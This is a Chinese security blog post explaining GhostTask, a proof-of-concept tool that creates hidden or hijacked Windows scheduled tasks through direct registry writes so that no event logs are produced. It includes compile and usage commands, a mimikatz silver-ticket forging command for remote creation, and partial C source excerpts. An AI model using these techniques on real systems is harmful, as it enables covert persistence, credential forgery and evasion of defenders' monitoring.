使用GhostTask生成计划任务

admin 2025年5月26日17:06:03评论8 views字数 5887阅读19分37秒阅读模式

重要声明 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

GhostTask介绍

接上篇文章篡改计划任务,下面介绍一个实现该目标的工具GhostTask,github链接如下:https://github.com/netero1010/GhostTask/

以下是对该项目的详细分析:

  1. 项目背景与灵感来源
    受 WithSecure 对计划任务篡改研究的启发,该研究阐述了仅通过注册表项操作创建计划任务的可行性,且能绕过如 4698 和 106 等计划任务创建事件日志的生成,为建立持久性提供更隐蔽的方法。基于此,开发者创建了 GhostTask 这个 POC 来展示通过直接注册表操作创建计划任务的过程。
  2. 主要功能
使用GhostTask生成计划任务
    • 创建隐藏计划任务
      使用限制性安全描述符创建计划任务,使其对所有用户不可见。
    • 绕过事件日志
      直接通过注册表建立计划任务,避免生成标准 Windows 事件日志。
    • 修改计划任务
      支持在不产生 Windows 事件日志的情况下修改现有计划任务。
    • 远程任务创建
      借助特制的 Silver Ticket 支持远程创建计划任务。
    • 内存执行支持
      能够使用内存中的 PE 执行模块(如 BruteRatel's memexec )在 C2 中运行。
  1. 技术实现
    创建新的计划任务需要添加多个注册表项及其关联值,由于相关注册表值的结构未被记录,开发者主要通过反复试验,并与合法计划任务的注册表值进行比较来构建这些结构。同时,参考了 Taskschd.h 头文件中的接口以及 [Cyber.WTF Windows 注册表分析 – 今日剧集:任务] 的内容,以确定每个注册表值(如 Triggers 、Actions 和 DynamicInfo )的结构,从而构建出功能性的计划任务。
  2. 使用方法
     GhostTask的详细用法如下:

编译

使用命令x86_64 -w64 -mingw32 -gcc GhostTask.c -o GhostTask.exe -lrpcrt4来编译源代码,生成可执行文件GhostTask.exe

执行命令

命令格式为GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>。各参数含义如下:

  • <hostname/localhost>
    指定远程计算机名,如果是在本地执行,可使用localhost
  • <operation>
    • add
      用于创建新的计划任务或修改已有的计划任务。创建或修改后,需要重启“Schedule”服务才能加载任务定义。
    • delete
      用于删除指定的计划任务。删除后,需要重启“Schedule”服务以使任务卸载。
  • <taskname>
    计划任务的名称。对于创建任务,这是新任务的名称;对于修改任务,这是要修改的现有任务的名称。
  • <program>
    要执行的程序,例如cmd.exe
  • <argument>
    程序的参数。如/c notepad.exe表示使用cmd.exe来执行打开记事本的命令。
  • <username>
    计划任务将在其下运行的用户帐户,格式通常为域名用户名,如LABAdministrator
  • <scheduletype>
    支持的触发器类型。
    • second
      按指定的秒数频率执行任务。
    • daily
      每天在指定时间执行任务。
    • weekly
      每周在指定的星期几和时间执行任务。
    • logon
      在用户登录时执行任务。
  • <time/second>
    • 对于second触发器,指定任务执行的频率,单位为秒。
    • 对于dailyweekly触发器,指定任务执行的具体时间,格式为HH:MM,如22:30表示晚上10点30分。
  • <day>
    适用于weekly触发器,指定执行计划任务的日子,如monday,thursday表示周一和周四。

示例

  • 创建每周一和周四下午2:12启动记事本的计划任务
    GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LABAdministrator weekly 14:12 monday,thursday
  • 修改现有计划任务的计划类型、用户和程序
    GhostTask.exe localhost add "MicrosoftOfficeOffice Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LABemployee001 daily 20:37
  • 在远程计算机上创建新的计划任务
    首先按照WithSecure博客中介绍的方法创建特制的Silver Ticket,如
    kerberos::golden /domain:LAB.CORP /sid:S - 1 - 5 - 21 - 1111111111 - 1111111111 - 1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S - 1 - 5 - 18 /endin:600 /renewmax:10080
    然后使用
    GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LABAdministrator daily 15:19
    在远程的DC01服务器上创建每天下午3:19启动记事本的计划任务。

需要注意的是,使用GhostTask创建计划任务需要“NT AUTHORITY/SYSTEM”权限。在配置好计划任务后,需要重启系统或等待下一次重启,以便任务加载到“Schedule”服务进程中并随后执行。

核心代码分析

GhostTask.c主要实现了与Windows系统中计划任务相关的操作,通过注册表来创建、删除计划任务。以下是对代码核心部分的总结与分析:

  1. 核心功能总结

    • AddScheduleTask
      函数用于创建或修改计划任务。它根据传入的参数,构建计划任务的相关信息(如任务的操作、触发条件、用户信息等),并将这些信息写入到注册表的相应位置。
    • DeleteScheduleTask
      函数用于删除指定的计划任务。它通过获取任务的GUID,然后删除与该任务相关的注册表项。
    • 命令行参数解析
      ParseArguments函数负责解析命令行参数,验证参数的正确性和完整性,并将解析后的参数存储在Arguments结构体中。参数包括目标计算机名、操作类型(添加或删除)、任务名称、要执行的程序、程序参数、执行任务的用户名、计划类型、执行时间或频率等。
    • 系统权限检查
      CheckSystem函数用于检查当前程序是否以SYSTEM权限运行。通过获取当前进程的令牌信息,并与SYSTEM用户的SID进行比较来判断权限。
    • 注册表操作
      包含多个函数用于打开、创建、删除注册表键以及添加、删除注册表值。如OpenKeyHandle用于打开指定的注册表键,AddKey用于创建注册表键,DeleteKey用于删除注册表键,AddValue用于向注册表键中添加值。
    • 计划任务操作
    • 帮助信息输出
      printHelp函数用于输出程序的使用帮助信息,描述了每个命令行参数的含义和用法。
  2. 核心代码分析

    • 参数解析部分
      ParseArguments函数中,首先对命令行参数的数量进行检查,确保参数的完整性。然后根据操作类型(添加或删除),进一步检查所需的参数是否提供。对于添加操作,还需要验证计划类型和执行时间的正确性。
if (strcmp("add", _strlwr(operation)) == 0) {    // 检查必填参数    const char *missingArgs[] = {"task name""program""argument""username for task execution""schedule type"};    for (int i = 3, j = 0; i < 8; i++, j++) {        if (arglen == i) {            printf("[-] No %s provided.n", missingArgs[j]);            return false;        }    }    // 解析参数    taskName = args[3];    program = args[4];    argument = args[5];    userName = args[6];    scheduleType = _strlwr(args[7]);    // 验证计划类型和执行时间    //...}
    • 计划任务创建部分
      AddScheduleTask函数是代码的核心部分之一,它构建了计划任务的各种信息,包括任务的操作(如要执行的程序和参数)、触发条件(如按秒、按天、按周或登录时触发)、用户信息等,并将这些信息写入到注册表的相应位置。
voidAddScheduleTask(LPCSTR computerName, LPCSTR taskName, LPCSTR cmd, LPCSTR argument, LPCSTR userName, unsignedshort scheduleType, int hour, int minute, int second, unsignedshort dayBitmap){    // 构建各种任务信息    //...    // 创建注册表键    REG_ERROR_CODE regRetCode = AddKey(computerName, plainKey);    if (regRetCode != REG_SUCCESS)        goto exit;    regRetCode = AddKey(computerName, treeKey);    if (regRetCode != REG_SUCCESS)        goto exit;    regRetCode = AddKey(computerName, taskKey);    if (regRetCode != REG_SUCCESS)        goto exit;    // 添加注册表值    AddValue(hKeyTree, computerName, treeKey, "Index"0x44, (LPBYTE)&index, false);    AddValue(hKeyTree, computerName, treeKey, "Id"0x1strlen(fullGuid) + 1, fullGuid, false);    AddValue(hKeyTree, computerName, treeKey, "SD", REG_BINARY, sdLength, (LPBYTE)pSd, false);    //...}
    • 注册表操作部分
      AddKey函数为例,它首先打开根注册表键(如果是远程计算机,则先连接到远程注册表),然后使用RegCreateKeyExA函数创建指定的注册表键。
REG_ERROR_CODE AddKey(LPCSTR computerName, LPCSTR keyName){    const char* hiveRootString = "HKLM";    const char* rootSeparator = (strlen(keyName) == 0)? "" : "\";    const char* computerString = computerName == NULL"" : computerName;    const char* computerNameSeparator = computerName == NULL"" : "\";    HKEY hHiveRoot = NULL;    REG_ERROR_CODE regRetCode = OpenKeyHandle(&hHiveRoot, computerName, KEY_CREATE_SUB_KEY, NULL);    if (regRetCode != REG_SUCCESS) {        printf("[-] Failed to get key handle for HKLM.n");        return OPEN_KEY_FAIL;    }    HKEY hNewKey;    DWORD dwDisposition;    LSTATUS lret = RegCreateKeyExA(hHiveRoot, keyName, 0NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hNewKey, &dwDisposition);    if (hHiveRoot != HKEY_LOCAL_MACHINE) // Close it properly if it's a handle to a remote computer        RegCloseKey(hHiveRoot);    if (lret != ERROR_SUCCESS) {        printf("[-] Failed to create key '%s%s%s%s%s' [error %d].n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName, lret);        return ADD_KEY_FAIL;    }    RegCloseKey(hNewKey);    if (dwDisposition == REG_OPENED_EXISTING_KEY) {        printf("Identified existing key '%s%s%s%s%s'.n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName);        return REG_SUCCESS;    }    printf("Created key '%s%s%s%s%s'.n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName);    return REG_SUCCESS;}

原文始发于微信公众号(网空安全手札):使用GhostTask生成计划任务

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日17:06:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用GhostTask生成计划任务https://cn-sec.com/archives/4099873.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息